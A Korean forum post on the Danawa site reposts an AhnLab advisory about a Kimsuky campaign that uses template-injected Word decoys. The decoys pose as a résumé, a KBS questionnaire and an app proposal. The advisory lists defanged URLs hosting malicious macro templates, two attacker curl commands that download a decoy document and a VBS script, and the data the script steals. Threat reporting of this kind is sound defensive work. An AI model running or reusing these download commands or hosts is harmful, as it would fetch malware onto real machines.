스마트한 쇼핑검색, 다나와! : 가격비교 사이트

다나와 앱
다나와 앱 서비스 목록
다나와 APP No.1 가격비교사이트 다나와 앱으로
간편하게 최저가를 확인하세요.
- -
QR코드
빈 이미지
다나와 앱 서비스 목록 닫기

김수키 악성코드 유포 재개! 타겟은 방송사와 일반 기업

IP
2023.02.09. 08:58:46
조회 수
206
8
댓글 수
22

공유하기

레이어 닫기

지금 보는 페이지가 마음에 든다면
공유하기를 통해 지인에게 소개해 주세요.

로그인 유저에게는 공유 활동에 따라
다나와 포인트가 지급됩니다.

자세히 >

URL이 복사되었습니다.
원하는 곳에 붙여넣기(Ctrl+V)하세요.

레이어 닫기

* 출처는 안립입니다.


최근 북한 해킹 조직 김수키(Kimsuky)만든 악성코드가 방송 및 일반 기업을 표적으로 삼고 있다이 악성코드는 올해 1월 10일 원고 청탁서로 위장해 안보 분야 종사자를 대상으로 유포된 바 있다이번에는 자기소개서앱 서비스 제안서 등의 형태로 유포되고 있으며기존과 동일하게 워드(Word) 문서 내 외부(External) 연결 기능으로 추가 악성 매크로를 실행하는 템플릿 인젝션(Template Injection) 기법이 사용됐다.

 


 

[그림 1] \word\_rels\settings.xml.rels 에서 확인된 External URL

 

유포가 확인된 파일명은 다음과 같다.

 

Ÿ   [kbs 일요진단]질문지.docx

Ÿ   ** 자기소개서.docx

Ÿ   app-planning – copy.docx

 


[그림 2정상 문서(1)


[그림 3] 정상 문서(2)

 


[그림 4] 정상 문서(3)

 

공격자는 악성 매크로 코드가 실행되도록 매크로 실행을 유도하는 이미지를 사용했다해당 이미지는 동일한 공격자가 과거부터 꾸준히 사용해 온 것으로 추정된다.

 

 

[그림 5] 매크로 실행을 유도하는 이미지

 

추가로 확인된 악성 워드 매크로 문서 다운로드 URL은 다음과 같다.

 

Ÿ   hxxp://www.hydrotec.co[.]kr/bbs/img/cmg/upload2/init.dotm

Ÿ   hxxp://www.hydrotec.co[.]kr/bbs/img/cmg/upload3/init.dotm

Ÿ   hxxp://jooshineng[.]com/gnuboard4/adm/img/ghp/up/state.dotm

Ÿ   hxxp://gdtech[.]kr/gnuboard4/adm/cmg/attatch/init.dotm

Ÿ   hxxp://ddim.co[.]kr/gnuboard4/adm/cmg/upload/init.dotm

 

다운로드한 문서 파일에 포함된 악성 매크로가 실행되면 cURL(Client URL) 명령어가 포함된 version.bat 파일을 생성 및 실행한다이 배치 파일(*.bat)에는 정상 문서와 추가 악성 스크립트 다운로드 및 실행 코드가 들어있다. cURL 명령어는 통신 프로토콜을 이용해 서버에 데이터를 전송하거나 가져올 때 사용하기 위한 명령 줄 툴 및 라이브러리로이번 공격에는 아래 2가지가 사용됐다.

 

Ÿ   curl -o “”” & fname & “”” hxxp://gdtech[.]kr/gnuboard4/adm/cmg/upload/state.docx

Ÿ   curl -o %temp%\temp.vbs hxxp://gdtech[.]kr/gnuboard4/adm/cmg/upload/list.php?query=60

 

추가 악성 스크립트는 아래의 정보를 C&C 서버로 유출한다.

 

Ÿ   감염 PC 시스템 정보

Ÿ   시스템에 설치된 바이러스 백신 정보

Ÿ   최근 연 워드 문서 목록

Ÿ   시스템 내 다운로드 폴더 경로 정보

Ÿ   실행 중인 프로세스 정보

Ÿ   IE 관련 레지스트리키 수정

Ÿ   C&C 서버 연결 지속성을 위한 작업 스케줄러 등록

 

* 전체내용은 아래에서 확인하세요.

https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=33107&utm_source=CM&utm_medium=eDM&utm_campaign=SL%5FtypeC&utm_content=955

공감/비공감

공감/비공감안내도움말 보기
유용하고 재미있는 정보인가요?
공감이 된다면 공감 버튼을, 그렇지 않다면 비공감 버튼을 눌러 주세요!
공감이나 비공감을 선택 하는 경우 다나와 포인트를 적립해 드립니다. ※ 공감 버튼의 총 선택 횟수는 전체 공개입니다. 비공감 버튼의 선택 여부는 선택한 본인만 알 수 있습니다.

plc-wave 님의 다른 글 보기

1/8
자유게시판 인기 글
1/5
자유게시판 최신 글 전체 둘러보기
1/1
메론소다 음료수를 차갑게 해서 먹으니 맛있었네요
토요일 마무리 합니다 (3)
토요일 꽃구경 다녀왔어요. (2)
황사 아닌 흑사는 아니겠죠?! (2)
토요일 마무리합니다. (2)
쿠쿠도 청소기가 있네요 (7)
천하제일장사 시즌2도 하나보네요 (2)
L2 찍고싶어용 ㅠ (7)
벚꽃은 만개...그래도 아직 밤에는 봄이아닌듯 기온차가 심하네요 (10)
제법 따뜻해진 주말 하루를 보냅니다. (7)
오늘은 간만에 핫초코 한잔 하면서 주말 하루 마무리 중입니다. (6)
조선시대에 길렀던 나의 반려동물 (6)
어제부터 날이 흐리네요. (7)
토요일 마무리합니다. (6)
토요일 ~ 햇살 여행가버린 날 (7)
요즘 다시 나온다는 배달 책자 (11)
이제 지하철에 마스크 안하신 분들이 제법 늘었네요. (9)
느림 (5)
(수령인증) 총 101명에게 경품을! 행운의 룰렛 찬스 (18)
끝나지 않은 빅테크 기업 해고 물결 ... 액센츄어도 19,000명 정리해고 (6)
이 시간 HOT 댓글!
1/4